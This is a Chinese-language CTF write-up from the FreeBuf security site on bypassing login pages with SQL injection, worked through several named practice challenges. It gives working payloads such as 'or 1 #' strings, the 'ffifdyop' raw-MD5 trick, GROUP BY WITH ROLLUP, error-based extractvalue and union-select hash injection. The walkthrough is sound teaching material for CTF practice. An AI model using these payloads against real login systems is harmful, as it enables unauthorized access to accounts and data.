freeBuf
主站

分類

漏洞 工具 極客 Web安全 系統安全 網絡安全 無線安全 設備/客戶端安全 數據安全 安全管理 企業安全 工控安全

特色

頭條 人物志 活動 視頻 觀點 招聘 報告 資訊 區塊鏈安全 標準與合規 容器安全 公開課

官方公眾號企業安全新浪微博

FreeBuf.COM網絡安全行業門戶,每日發布專業的安全資訊、技術剖析。

FreeBuf+小程序

FreeBuf+小程序

CTF| SQL注入之login界面
2017-10-09 16:15:08

SQL注入是CTF的WEB方向必不可少的一種題型,斗哥最近也做了一些在線題目,其中最常見的題目就是給出一個登錄界面,讓我們繞過限制登錄或者一步步注入數據。

萬能密碼—very easy

題目入口:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php?

題目來源:hacking lab inject 01~

萬能.png??

源代碼有提示:

提示.png?

萬能密碼登錄語句構造:?

select * from admin where username='admin'and 1=1 #' and password='123456'?

OR?

select * from admin where username='admin'or 1 #' and password='123456'?

或者不需要admin?

select * from admin where username='1'or 1 or 1 #' and password='123456'?

還可以用#來注釋?

select * from admin where username='admin'#' and password='123456'


萬能密碼— easy

題目入口:http://redtiger.labs.overthewire.org/level2.php?

題目來源:RedTigers Hackit Level 2 Simple login-bypass?

做題密碼:4_is_not_random?

構造語句:?

username=1&password=1'or'1'or'1&login=Login

?pass.png


萬能密碼— not than easy

題目入口: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html?

題目來源:實驗吧,不要懷疑,我已經過濾了一切,還再逼你注入,哈哈哈哈哈!

haha.png

常規方式使用萬能密碼,發現'沒有被過濾,or,--+,#被過濾。

guolv.png

假設后臺sql查詢語句為:?

select * from user where username='$user' and password='$pass'?

構造payload:?

username=reborn'='&password=reborn'='

?sql.png


select * from user where username='reborn'='' and password='reborn'=''

username='reborn'返回值為0,相當于false,然后0=''的結果為1,相當于true。?

所以注入語句相當于:

select * from user where 1 and 1


萬能密碼— little hard ?

題目入口:http://123.59.52.228:1515/route.php?act=index?

題目來源:2017年全國大學生信息安全競賽的web題。

web.png

??

提交的時候,返回包有提示這么一個sql語句:?

select count(*) from t_info where username = '1' or nickname = '1'?

' 轉義 \?

\ 轉義 \\?

" 轉義 \"?

空格被過濾:但'可以轉義掉原本的'?

name=or 1 #'&submit=check?

select count(*) from t_info where username = 'or1#\' or nickname = 'or1#\'?

用%09代替空格,%09是制表符的URL編碼?

name=or%091%09#'&submit=check?

select count(*) from t_info where username = 'or 1 #\' or nickname = 'or 1 #\'good job?

跟隨302跳轉。

g.png


萬能密碼— md5($pass,true)

題目入口:http://web.jarvisoj.com:32772/?

題目來源:jarvis oj,Login:需要密碼才能獲得flag哦。

本題是一個登錄頁面。

denglu.png

通過burp抓包攔截,返回包有提示:

?tishi.png

Hint: "select * from `admin` where password='".md5($pass,true)."'"

* md5(string,raw)*?

string 必需。規定要計算的字符串。?

raw 可選。規定十六進制或二進制輸出格式:?

? ?TRUE - 原始 16 字符二進制格式

? ?FALSE - 默認。32 字符十六進制數如果md5計算后的值經過hex轉成字符串后為 ”or’xxx’這樣的字符串,則拼接后構成的語句為:

select * from `admin` where password=''or'xxx'

下面提供兩個payload:?

content: 129581926211651571912466741651878684928?

hex: 06da5430449f8f6f23dfc1276f722738?

raw: ?T0D??o#??'or'8.N=?

content: ffifdyop?

hex: 276f722736c95d99e921722cf9ed621c?

raw: 'or'6蒥欓!r,b?

類似題目:?

題目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?

題目來源:hacking lab inject 09~?

看到源代碼password='".md5($_GET['pwd'], true),就知道這道題和題目3的解法是一致的。?

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop


萬能密碼— with rollup

題目入口: http://ctf5.shiyanbar.com/web/pcat/index.php?

題目來源:實驗吧?

訪問鏈接是登錄頁面:

頁面.png??

查看網頁源代碼有提示:

2 提示.png??

訪問:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到題目源代碼:

<?php

error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {

? ? echo '<form action="" method="post">'."<br/>";

? ? echo '<input name="uname" type="text"/>'."<br/>";

? ? echo '<input name="pwd" type="text"/>'."<br/>";

? ? echo '<input type="submit" />'."<br/>";

? ? echo '</form>'."<br/>";

? ? echo '<!--source: source.txt-->'."<br/>";

? ? die;

}

function AttackFilter($StrKey,$StrValue,$ArrReq){ ?

? ? if (is_array($StrValue)){

? ? ? ? $StrValue=implode($StrValue);

? ? }

? ? if (preg_match("/".$ArrReq."/is",$StrValue)==1){ ??

? ? ? ? print "水可載舟,亦可賽艇!";

? ? ? ? exit();

? ? }

}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

foreach($_POST as $key=>$value){?

? ? AttackFilter($key,$value,$filter);

}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");

if (!$con){

? ? die('Could not connect: ' . mysql_error());

}

$db="XXXXXX";

mysql_select_db($db, $con);

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";

$query = mysql_query($sql);?

if (mysql_num_rows($query) == 1) {?

? ? $key = mysql_fetch_array($query);

? ? if($key['pwd'] == $_POST['pwd']) {

? ? ? ? print "CTF{XXXXXX}";

? ? }else{

? ? ? ? print "亦可賽艇!";

? ? }

}else{

? ? print "一顆賽艇!";

}

mysql_close($con);

?>


從源代碼得出,注入點在uname這個位置上,$filter沒有過濾掉 or?

注入成功要滿足幾個條件:

1. mysql_num_rows($query) == 1 即查詢返回的結果行數為1

2. $key['pwd'] == $_POST['pwd'] 即查詢返回的結果與POST發送的pwd值相同

解題:?

group by pass with rollup 的技巧

mysql> select user from users group by user;

+---------+

| user ? ?|

+---------+

| 1337 ? ?|

| admin ? |

| gordonb |

| pablo ? |

| smithy ?|

+---------+

5 rows in set

mysql> select user from users group by user with rollup;

+---------+

| user ? ?|

+---------+

| 1337 ? ?|

| admin ? |

| gordonb |

| pablo ? |

| smithy ?|

| NULL ? ?|

+---------+

6 rows in set

可以發現,在加上with rollup之后,返回pass最后一行多了一個NULL。當我們POST的pass為空,即可滿足$key['pwd'] == $_POST['pwd']條件。

如何讓返回的結果只取最后一行呢??

因為過濾了,所以無法使用limit 5,1這樣的語法?

可以使用limit 1 offset 5

mysql> select user from users group by 1 with rollup limit 1 offset 5;

+------+

| user |

+------+

| NULL |

+------+

1 row in set

所以最終 payload 如下,2為遍歷出來的值 。

uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=


萬能密碼— 程序邏輯

題目入口: http://ctf5.shiyanbar.com/web/5/index.php?

題目來源:實驗吧,程序邏輯問題?

本題源代碼:http://ctf5.shiyanbar.com/web/5/index.txt

<html>

<head>

welcome to simplexue

</head>

<body>

<?php

if($_POST[user] && $_POST[pass]) {

? ? $conn = mysql_connect("********, "*****", "********");

? ? mysql_select_db("phpformysql") or die("Could not select database");

? ? if ($conn->connect_error) {

? ? ? ? die("Connection failed: " . mysql_error($conn));

}?

$user = $_POST[user];

$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";

$query = mysql_query($sql);

if (!$query) {

? ? printf("Error: %s\n", mysql_error($conn));

? ? exit();

}

$row = mysql_fetch_array($query, MYSQL_ASSOC);

//echo $row["pw"];

? if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

? ? echo "<p>Logged in! Key:************** </p>";

}

else {

? ? echo("<p>Log in failure!</p>");

? }

}

?>

<form method=post action=index.php>

<input type=text name=user value="Username">

<input type=password name=pass value="Password">

<input type=submit>

</form>

</body>

<a href="index.txt">

</html>

首先可以發現user處存在注入點,并且會回顯錯誤信息,第一個想到的是報錯注入。

user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111

結果密碼并不是admin/111

user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111

結果提示:

提示11.png??

既然是程序邏輯漏洞,然就繼續看代碼吧。

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

? ? echo "<p>Logged in! Key:************** </p>";

}

判斷sql查詢返回的值和$pass做比較。strcasecmp比較兩個字符串,且不區分大小寫,相等返回0。?

既然user存在注入,我們可以讓返回的結果為任何值,只要等于我們輸入pass的md5值。?

如:reborn的md5加密的值為5ce3c6e5c3f84bdc0f45148adfd16ae6?

因此我們可以構造payload:?

user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn?

結果:?

結果.png

640.webp.jpg

本文作者:, 轉載請注明來自FreeBuf.COM

# SQL注入
被以下專輯收錄,發現更多精彩內容
+ 收入我的專輯
評論 按熱度排序

登錄/注冊后在FreeBuf發布內容哦

相關推薦
  • 0 文章數
  • 0 評論數
  • 0 關注者
登錄 / 注冊后在FreeBuf發布內容哦
收入專輯
四月天小说网